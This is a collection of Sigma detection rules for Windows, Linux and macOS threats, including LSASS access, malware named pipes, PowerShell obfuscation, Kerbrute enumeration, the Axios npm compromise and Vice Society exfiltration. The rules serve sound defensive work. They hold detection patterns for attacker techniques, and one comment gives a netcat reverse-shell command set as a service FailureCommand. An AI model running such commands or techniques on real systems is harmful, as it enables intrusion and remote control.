Sigma rules: 0g

title: Audio Capture via SoundRecorder
id: 83865853-59aa-449e-9600-74b9d89a6d6e
status: test
description: Detect attacker collecting audio via SoundRecorder application.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md
    - https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html
author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community
date: 2019-10-24
modified: 2021-11-27
tags:
    - attack.collection
    - attack.t1123
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\SoundRecorder.exe'
        CommandLine|contains: '/FILE'
    condition: selection
falsepositives:
    - Legitimate audio capture by legitimate user.
level: medium

title: Axios NPM Compromise File Creation Indicators - Linux
id: b7cb840c-11f6-47f7-b3ef-5524739c9077
status: experimental
description: |
    Detects file creation events linked to the Axios NPM supply chain compromise. Axios is a popular JavaScript HTTP client.
    On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper.
references:
    - https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
    - https://www.derp.ca/research/axios-npm-supply-chain-rat/
    - https://www.trendmicro.com/zh_hk/research/26/c/axios-npm-package-compromised.html
    - https://www.elastic.co/security-labs/axios-supply-chain-compromise-detections
    - https://www.virustotal.com/gui/file/e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2026-04-01
tags:
    - attack.initial-access
    - attack.t1195.002
    - attack.command-and-control
    - attack.t1105
    - detection.emerging-threats
logsource:
    category: file_event
    product: linux
detection:
    selection:
        Image|endswith: '/curl'
        TargetFilename: '/tmp/ld.py'
    condition: selection
falsepositives:
    - Highly unlikely
level: high

title: BitLockerTogo.EXE Execution
id: 7f2376f9-42ee-4dfc-9360-fecff9a88fc8
status: test
description: |
    Detects the execution of "BitLockerToGo.EXE".
    BitLocker To Go is BitLocker Drive Encryption on removable data drives. This feature includes the encryption of, USB flash drives, SD cards, External hard disk drives, Other drives that are formatted by using the NTFS, FAT16, FAT32, or exFAT file system.
    This is a rarely used application and usage of it at all is worth investigating.
    Malware such as Lumma stealer has been seen using this process as a target for process hollowing.
references:
    - https://tria.ge/240521-ynezpagf56/behavioral1
    - https://any.run/report/6eea2773c1b4b5c6fb7c142933e220c96f9a4ec89055bf0cf54accdcde7df535/a407f006-ee45-420d-b576-f259094df091
    - https://bazaar.abuse.ch/sample/8c75f8e94486f5bbf461505823f5779f328c5b37f1387c18791e0c21f3fdd576/
    - https://bazaar.abuse.ch/sample/64e6605496919cd76554915cbed88e56fdec10dec6523918a631754664b8c8d3/
author: Josh Nickels, mttaggart
date: 2024-07-11
tags:
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\BitLockerToGo.exe'
    condition: selection
falsepositives:
    - Legitimate usage of BitLockerToGo.exe to encrypt portable devices.
level: low

title: CVE-2021-31979 CVE-2021-33771 Exploits
id: 32b5db62-cb5f-4266-9639-0fa48376ac00
status: test
description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum
references:
    - https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/
    - https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/
author: Sittikorn S, frack113
date: 2021-07-16
modified: 2023-08-17
tags:
    - attack.initial-access
    - attack.execution
    - attack.credential-access
    - attack.t1566
    - attack.t1203
    - cve.2021-33771
    - cve.2021-31979
    - detection.emerging-threats
    # - threat_group.Sourgum
logsource:
    product: windows
    category: registry_set
detection:
    selection:
        TargetObject|endswith:
            - CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32\(Default)
            - CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default)
    filter:
        Details|endswith:
            - system32\wbem\wmiutils.dll
            - system32\wbem\wbemsvc.dll
    condition: selection and not filter
falsepositives:
    - Unlikely
level: critical

title: Elevated System Shell Spawned
id: 61065c72-5d7d-44ef-bf41-6a36684b545f
related:
    - id: 178e615d-e666-498b-9630-9ed363038101
      type: similar
status: test
description: |
    Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges. Use this rule to hunt for potential suspicious processes.
references:
    - https://github.com/Wh04m1001/SysmonEoP
author: Nasreddine Bencherchali (Nextron Systems), frack113
date: 2023-11-23
modified: 2025-03-06
tags:
    - attack.privilege-escalation
    - attack.execution
    - attack.t1059
    - detection.threat-hunting
logsource:
    product: windows
    category: process_creation
detection:
    selection_shell:
        - Image|endswith:
              - '\powershell.exe'
              - '\powershell_ise.exe'
              - '\pwsh.exe'
              - '\cmd.exe'
        - OriginalFileName:
              - 'PowerShell.EXE'
              - 'powershell_ise.EXE'
              - 'pwsh.dll'
              - 'Cmd.Exe'
    selection_user:
        User|contains: # covers many language settings
            - 'AUTHORI'
            - 'AUTORI'
        LogonId: '0x3e7'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

title: ImagingDevices Unusual Parent/Child Processes
id: f11f2808-adb4-46c0-802a-8660db50fa99
status: test
description: Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity
references:
    - https://thedfirreport.com/2022/09/26/bumblebee-round-two/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-09-27
modified: 2022-12-29
tags:
    - attack.execution
    - attack.stealth
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            # Add more if known
            - \WmiPrvSE.exe
            - \svchost.exe
            - \dllhost.exe
        Image|endswith: '\ImagingDevices.exe'
    selection_child:
        # You can add specific suspicious child processes (such as cmd, powershell...) to increase the accuracy
        ParentImage|endswith: '\ImagingDevices.exe'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: high

title: ISO Image Mounted
id: 0248a7bc-8a9a-4cd8-a57e-3ae8e073a073
status: test
description: Detects the mount of an ISO image on an endpoint
references:
    - https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore
    - https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages
    - https://twitter.com/MsftSecIntel/status/1257324139515269121
    - https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image
author: Syed Hasan (@syedhasan009)
date: 2021-05-29
modified: 2023-11-09
tags:
    - attack.initial-access
    - attack.t1566.001
logsource:
    product: windows
    service: security
    definition: 'The advanced audit policy setting "Object Access > Audit Removable Storage" must be configured for Success/Failure'
detection:
    selection:
        EventID: 4663
        ObjectServer: 'Security'
        ObjectType: 'File'
        ObjectName|startswith: '\Device\CdRom'
    filter_main_generic:
        ObjectName:
            - '\Device\CdRom0\autorun.ico'
            - '\Device\CdRom0\setup.exe'
            - '\Device\CdRom0\setup64.exe'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Software installation ISO files
level: medium

title: Kerberos enumeration with existing/unexisting users (Kerbrute)
name: kerbrute_enumeration
description: Detects scenarios where an attacker attempts to enumerate existing or non existing users using "Kerbrute". This use case can also be related to spot vulnearbility "MS14-068".
references:
  - https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0006-Credential%20Access/T1110.xxx-Brut%20force
  - https://github.com/ropnop/kerbrute
  - https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf
tags:
  - attack.credential_access
  - attack.t1110
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID:
      - 4771
      - 4768
    Status: "0x6" # KDC_ERR_C_PRINCIPAL_UNKNOWN
    TicketOptions: 0x50800000
  filter:
    - IpAddress: "%domain_controllers_ips%" # reduce amount of false positives
    - TargetUserName: "%account_allowed_proxy%" # accounts allowed to perform proxiable requests
  condition: selection and not filter
falsepositives:
  - Missconfigured application or identity services
level: high

---
title: Kerberos enumeration with existing/unexisting users (Kerbrute) Count
status: experimental
correlation:
  type: value_count
  rules:
    - kerbrute_enumeration # Referenced here
  group-by:
    - Computer
  timespan: 30m
  condition:
    gte: 20
    field: TargetUserName # Count how many failed logins were reported on the domain controller.
level: high

title: LiveKD Kernel Memory Dump File Created
id: 814ddeca-3d31-4265-8e07-8cc54fb44903
status: test
description: Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.
references:
    - Internal Research
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-16
tags:
    - attack.privilege-escalation
    - attack.stealth
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename: 'C:\Windows\livekd.dmp'
    condition: selection
falsepositives:
    - In rare occasions administrators might leverage LiveKD to perform live kernel debugging. This should not be allowed on production systems. Investigate and apply additional filters where necessary.
level: high

title: LSASS Access Detected via Attack Surface Reduction
id: a0a278fe-2c0e-4de2-ac3c-c68b08a9ba98
status: test
description: Detects Access to LSASS Process
references:
    - https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction
author: Markus Neis
date: 2018-08-26
modified: 2022-08-13
tags:
    - attack.credential-access
    - attack.t1003.001
logsource:
    product: windows
    service: windefend
    definition: 'Requirements:Enabled Block credential stealing from the Windows local security authority subsystem (lsass.exe) from Attack Surface Reduction (GUID: 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2)'
detection:
    selection:
        EventID: 1121
        Path|endswith: '\lsass.exe'
    filter_thor:
        ProcessName|startswith: 'C:\Windows\Temp\asgard2-agent\'
        ProcessName|endswith:
            - '\thor64.exe'
            - '\thor.exe'
    filter_exact:
        ProcessName:
            - 'C:\Windows\System32\atiesrxx.exe'
            - 'C:\Windows\System32\CompatTelRunner.exe'
            - 'C:\Windows\System32\msiexec.exe'
            - 'C:\Windows\System32\nvwmi64.exe'
            - 'C:\Windows\System32\svchost.exe'
            - 'C:\Windows\System32\Taskmgr.exe'
            - 'C:\Windows\System32\wbem\WmiPrvSE.exe'
            - 'C:\Windows\SysWOW64\msiexec.exe'
    filter_begins:
        ProcessName|startswith:
            - 'C:\Windows\System32\DriverStore\'
            - 'C:\WINDOWS\Installer\'
            - 'C:\Program Files\'
            - 'C:\Program Files (x86)\'
    condition: selection and not 1 of filter_*
falsepositives:
    - Google Chrome GoogleUpdate.exe
    - Some Taskmgr.exe related activity
level: high

title: macOS TCC Privacy Bypass Attempt
id: a1b2c3d4-e5f6-4789-abcd-ef0123456789
status: experimental
description: |
  Detects potential attempts to bypass macOS Transparency, Consent, and Control (TCC)
  privacy protections. TCC protects sensitive resources like Camera, Microphone, 
  Screen Recording, and Full Disk Access.
references:
  - https://attack.mitre.org/techniques/T1548/
  - https://developer.apple.com/documentation/security/tcc
  - https://objective-see.org/blog/blog_0x6C.html
author: Eric Brown - Nebulock, Inc.
date: 2025/01/22
modified: 2025/01/22
logsource:
  product: macos
  service: unifiedlog
detection:
  selection_subsystem:
    subsystem: com.apple.TCC
  selection_bypass_indicators:
    message|contains:
      - 'access denied'
      - 'Denied'
      - 'prompting for access'
      - 'kTCCServiceSystemPolicyAllFiles'
      - 'kTCCServiceScreenCapture'
      - 'kTCCServiceMicrophone'
      - 'kTCCServiceCamera'
      - 'kTCCServiceAccessibility'
      - 'kTCCServicePostEvent'
  filter_normal_prompts:
    message|contains:
      - 'User approved'
      - 'granted'
  condition: selection_subsystem and selection_bypass_indicators and not filter_normal_prompts
falsepositives:
  - Legitimate applications requesting sensitive permissions
  - First-time application launches requesting access
level: high
tags:
  - attack.privilege_escalation
  - attack.defense_evasion
  - attack.t1548

title: Malicious Named Pipe Created
id: fe3ac066-98bb-432a-b1e7-a5229cb39d4a
status: test
description: Detects the creation of a named pipe seen used by known APTs or malware.
references:
    - https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/
    - https://securelist.com/faq-the-projectsauron-apt/75533/
    - https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
    - https://www.us-cert.gov/ncas/alerts/TA17-117A
    - https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
    - https://thedfirreport.com/2020/06/21/snatch-ransomware/
    - https://github.com/RiccardoAncarani/LiquidSnake
    - https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
    - https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a
    - https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf
    - https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
    - https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
author: Florian Roth (Nextron Systems), blueteam0ps, elhoim
date: 2017-11-06
modified: 2023-08-07
tags:
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1055
logsource:
    product: windows
    category: pipe_created
    definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
    selection:
        PipeName:
            - '\46a676ab7f179e511e30dd2dc41bd388'  # Project Sauron
            - '\583da945-62af-10e8-4902-a8f205c72b2e'  # SolarWinds SUNBURST malware
            - '\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7'  # LiquidSnake
            - '\9f81f59bc58452127884ce513865ed20'  # Project Sauron
            - '\adschemerpc'  # Turla HyperStack
            - '\ahexec'  # Sofacy group malware
            - '\AnonymousPipe'  # Hidden Cobra Hoplight
            - '\bc31a7'  # Pacifier
            - '\bc367'  # Pacifier
            - '\bizkaz'  # Snatch Ransomware
            - '\csexecsvc' # CSEXEC default
            - '\dce_3d' # Qbot
            - '\e710f28d59aa529d6792ca6ff0ca1b34'  # Project Sauron
            - '\gruntsvc' # Covenant default
            - '\isapi_dg'  # Uroburos Malware
            - '\isapi_dg2'  # Uroburos Malware
            - '\isapi_http'  # Uroburos Malware
            - '\jaccdpqnvbrrxlaf' # PoshC2 default
            - '\lsassw'  # Wild Neutron APT malware
            - '\NamePipe_MoreWindows'  # Cloud Hopper - RedLeaves
            - '\pcheap_reuse'  # Pipe used by Equation Group malware
            - '\Posh*' # PoshC2 default
            - '\rpchlp_3'  # Project Sauron
            - '\sdlrpc'  # Cobra Trojan
            - '\svcctl' # Crackmapexec smbexec default
            - '\testPipe'  # Emissary Panda Hyperbro
            - '\winsession'  # Wild Neutron APT malware
            # - '\status_*' # CS default  https://github.com/SigmaHQ/sigma/issues/253
    condition: selection
falsepositives:
    - Unknown
level: critical

title: Medium risk Active Directory group membership change
description: Detects scenarios where a suspicious group membership is changed.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1098.xxx-Account%20manipulation
- https://ss64.com/nt/syntax-groups.html
- https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers
tags:
- attack.persistence
- attack.t1098
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID:
      - 4728 # security global group member added
      - 4756 # universal group member added
      #- 4732 # local and domain local group are covered in another rule
    TargetSid|startswith: 'S-1-5-21-'
    TargetSid|endswith:
      - '-514' # Domain Guests
      - '-517' # Cert Publishers
      - '-520' # Group Policy Creator Owners
  condition: selection
falsepositives:
- Administrator activity
level: medium

title: Potential Exploitation of RCE Vulnerability CVE-2025-33053
id: abe06362-a5b9-4371-8724-ebd00cd48a04
related:
    - id: 9a2d8b3e-f5a1-4c68-9e21-7d9e1cf8a123
      type: similar
    - id: 04fc4b22-91a6-495a-879d-0144fec5ec03
      type: similar
status: experimental
description: |
    Detects potential exploitation of remote code execution vulnerability CVE-2025-33053
    which involves unauthorized code execution via WebDAV through external control of file names or paths.
    The exploit abuses legitimate utilities like iediagcmd.exe or CustomShellHost.exe  by manipulating
    their working directories to point to attacker-controlled WebDAV servers, causing them to execute
    malicious executables (like route.exe) from the WebDAV path instead of legitimate system binaries
    through Process.Start() search order manipulation.
references:
    - https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053
    - https://research.checkpoint.com/2025/stealth-falcon-zero-day/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-06-13
tags:
    - attack.command-and-control
    - attack.execution
    - attack.stealth
    - attack.t1218
    - attack.lateral-movement
    - attack.t1105
    - detection.emerging-threats
    - cve.2025-33053
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage:
            - 'C:\Program Files\internet explorer\iediagcmd.exe'
            - 'C:\Windows\System32\CustomShellHost.exe'
    selection_child_current_dir:
        - CurrentDirectory|startswith: '\\\\'
        - CurrentDirectory|contains: '\DavWWWRoot\'
        - Image|contains: '\DavWWWRoot\'
        - Image|startswith: '\\\\'
    selection_child_img:
        Image|endswith:
            - '\route.exe'
            - '\netsh.exe'
            - '\makecab.exe'
            - '\dxdiag.exe'
            - '\ipconfig.exe'
            - '\explorer.exe'
    filter_main_system:
        Image|startswith:
            - 'C:\Windows\System32\'
            - 'C:\Windows\SysWOW64\'
    condition: all of selection_* and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

title: Potential PowerShell Command Line Obfuscation
id: d7bcd677-645d-4691-a8d4-7a5602b780d1
status: test
description: Detects the PowerShell command lines with special characters
references:
    - https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64
author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp)
date: 2020-10-15
modified: 2024-04-15
tags:
    - attack.execution
    - attack.stealth
    - attack.t1027
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_re:
        # TODO: Optimize for PySIGMA
        - CommandLine|re: '\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+'
        - CommandLine|re: '\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{'
        - CommandLine|re: '\^.*\^.*\^.*\^.*\^'
        - CommandLine|re: '`.*`.*`.*`.*`'
    filter_optional_amazonSSM:
        ParentImage: C:\Program Files\Amazon\SSM\ssm-document-worker.exe
    filter_optional_defender_atp:
        CommandLine|contains:
            - 'new EventSource("Microsoft.Windows.Sense.Client.Management"'
            - 'public static extern bool InstallELAMCertificateInfo(SafeFileHandle handle);'
    condition: all of selection_* and not 1 of filter_optional_*
falsepositives:
    - Amazon SSM Document Worker
    - Windows Defender ATP
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters/info.yml

title: Powershell Timestomp
id: c6438007-e081-42ce-9483-b067fbef33c3
status: test
description: |
    Adversaries may modify file time attributes to hide new or changes to existing files.
    Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md
    - https://www.offensive-security.com/metasploit-unleashed/timestomp/
author: frack113
date: 2021-08-03
modified: 2022-12-25
tags:
    - attack.stealth
    - attack.t1070.006
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection_ioc:
        ScriptBlockText|contains:
            - '.CreationTime ='
            - '.LastWriteTime ='
            - '.LastAccessTime ='
            - '[IO.File]::SetCreationTime'
            - '[IO.File]::SetLastAccessTime'
            - '[IO.File]::SetLastWriteTime'
    condition: selection_ioc
falsepositives:
    - Legitimate admin script
level: medium
regression_tests_path: regression_data/rules/windows/powershell/powershell_script/posh_ps_timestomp/info.yml

title: Recon Information for Export with PowerShell
id: a9723fcc-881c-424c-8709-fd61442ab3c3
status: test
description: Once established within a system or network, an adversary may use automated techniques for collecting internal data
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md
author: frack113
date: 2021-07-30
modified: 2022-12-25
tags:
    - attack.collection
    - attack.t1119
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection_action:
        ScriptBlockText|contains:
            - 'Get-Service '
            - 'Get-ChildItem '
            - 'Get-Process '
    selection_redirect:
        ScriptBlockText|contains: '> $env:TEMP\'
    condition: all of selection*
falsepositives:
    - Unknown
level: medium
regression_tests_path: regression_data/rules/windows/powershell/powershell_script/posh_ps_susp_recon_export/info.yml

title: Reg Add Suspicious Paths
id: b7e2a8d4-74bb-4b78-adc9-3f92af2d4829
status: test
description: Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md
    - https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md
    - https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
author: frack113, Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-19
modified: 2022-10-10
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection_reg:
        - Image|endswith: '\reg.exe'
        - OriginalFileName: 'reg.exe'
    selection_path:
        CommandLine|contains:
            # Add more suspicious registry locations below
            - '\AppDataLow\Software\Microsoft\'
            - '\Policies\Microsoft\Windows\OOBE'
            - '\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon'
            - '\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon'
            - '\CurrentControlSet\Control\SecurityProviders\WDigest'
            - '\Microsoft\Windows Defender\'
    condition: all of selection_*
falsepositives:
    - Rare legitimate add to registry via cli (to these locations)
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_reg_susp_paths/info.yml

title: Relevant ClamAV Message
id: 36aa86ca-fd9d-4456-814e-d3b1b8e1e0bb
status: stable
description: Detects relevant ClamAV messages
references:
    - https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml
author: Florian Roth (Nextron Systems)
date: 2017-03-01
tags:
    - attack.resource-development
    - attack.t1588.001
logsource:
    product: linux
    service: clamav
detection:
    keywords:
        - 'Trojan*FOUND'
        - 'VirTool*FOUND'
        - 'Webshell*FOUND'
        - 'Rootkit*FOUND'
        - 'Htran*FOUND'
    condition: keywords
falsepositives:
    - Unknown
level: high

title: Service abuse with backdoored "command failure" (Reg via PowerShell)
description: Detects scenarios where an attacker modify the configuration of a service to trigger an action when the service is crashed.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1543.003-Create%20or%20Modify%20System%20Process-Windows%20Service
- https://twitter.com/JohnLaTwC/status/1432689635122159623?s=09
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742019(v=ws.11)
- https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/
tags:
- attack.persistence
- attack.t1543.003
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # Set-ItemProperty -path HKLM:\System\CurrentControlSet\services\xboxgip -name FailureCommand -value "C:\nc.exe -e powershell.exe 10.10.14.26 4447"
  selection_powershell_native:
    EventID: 800
    EventData|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - FailureCommand

  selection_powershell_modern:
    EventID: 4103
    Payload|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - FailureCommand

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - FailureCommand

  condition: 1 of selection*
falsepositives:
- administrator reconfiguring service
level: high

title: Suspicious RazerInstaller Explorer Subprocess
id: a4eaf250-7dc1-4842-862a-5e71cd59a167
status: test
description: Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM
references:
    - https://twitter.com/j0nh4t/status/1429049506021138437
    - https://streamable.com/q2dsji
author: Florian Roth (Nextron Systems), Maxime Thiebaut
date: 2021-08-23
modified: 2024-12-01
tags:
    - attack.privilege-escalation
    - attack.defense-impairment
    - attack.t1553
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\RazerInstaller.exe'
        IntegrityLevel:
            - 'System'
            - 'S-1-16-16384' # System
    filter_main_razer:
        Image|startswith: 'C:\Windows\Installer\Razer\Installer\'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - User selecting a different installation folder (check for other sub processes of this explorer.exe process)
level: high

title: Suspicious Service Installed
id: f2485272-a156-4773-82d7-1d178bc4905b
status: test
description: |
  Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders.
  Both services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)
references:
    - https://web.archive.org/web/20200419024230/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/
author: xknow (@xknow_infosec), xorxes (@xor_xes)
date: 2019-04-08
modified: 2026-06-29
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject:
            - 'HKLM\System\CurrentControlSet\Services\NalDrv\ImagePath'
            - 'HKLM\System\CurrentControlSet\Services\PROCEXP152\ImagePath'
    filter:
        Image|endswith:
            # Please add the full paths that you use in your environment to tighten the rule
            - '\procexp64.exe'
            - '\procexp64a.exe'
            - '\procexp.exe'
            - '\procmon64.exe'
            - '\procmon64a.exe'
            - '\procmon.exe'
            - '\handle.exe'
            - '\handle64.exe'
            - '\handle64a.exe'
        Details|contains: '\WINDOWS\system32\Drivers\PROCEXP152.SYS'
    condition: selection and not filter
falsepositives:
    - Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it.
level: medium

title: Uncommon Child Process Of Conhost.EXE
id: 7dc2dedd-7603-461a-bc13-15803d132355
related:
    - id: dfa03a09-8b92-4d83-8e74-f72839b1c407
      type: similar
status: test
description: Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.
references:
    - http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/
author: omkar72
date: 2020-10-25
modified: 2023-12-11
tags:
    - attack.stealth
    - attack.t1202
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\conhost.exe'
    filter_main_conhost:
        Image|endswith: ':\Windows\System32\conhost.exe'
    filter_main_null:
        Image: null
    filter_main_empty:
        Image: ''
    filter_optional_provider:
        Provider_Name: 'SystemTraceProvider-Process'  # Race condition with SystemTrace doesn't provide all fields.
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Unknown
level: medium

title: User account created by a computer account
description: Detects scenarios where an attacker would abuse some privileges while realying host credentials to escalate privileges.
references:
- https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741
tags:
- attack.persistence
- attack.t1136 # user creation
- attack.defense_evesion
- attack.t1036 # masquerading
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4720
    SubjectUserName|endswith: '$' # Computer account
    SubjectUserSid|startswith: 'S-1-5-21-' # SYSTEM account 'S-1-5-18' would trigger a false positive
  filter:
    TargetUserName|endswith: '$' # covered in another rule: User account creation disguised in a computer account
  condition: selection
falsepositives:
- Exchange servers
level: high

title: Vice Society directory crawling script for data exfiltration (via ps_script)
description: Detects data exfiltration performed by the Vice Society ransomware gang using a custom built PowerShell script. More precisely, the script enumerates the volumes mounted on the system, then starts crawling the different directories before initiating the data exfiltration over HTTP by creating multiple different jobs. As PowerShell script block logs the script execution into multiple events, the detection aggregates the different log chunks using the ScriptBlockId and then ensure that at least 3 of the 4 detection strings are found.
references:
- https://unit42.paloaltonetworks.com/vice-society-ransomware-powershell/
tags:
- attack.execution
- attack.t1059.001 # Command and Scripting Interpreter: PowerShell
- attack.exfiltration
- attack.t1041 # Exfiltration Over C2 Channel 
author: mdecrevoisier
status: stable
logsource:
  product: windows
  category: ps_script # ID 4104
detection:
  selection:
    ScriptBlockText|contains|all:
      - 'Work( $disk )'
      - 'Show( $name )'
      - 'CreateJobLocal( $folders )'
      - 'fill( [string]$filename )'
  condition: selection | count() by ScriptBlockId > 3
falsepositives:
- unknown
level: high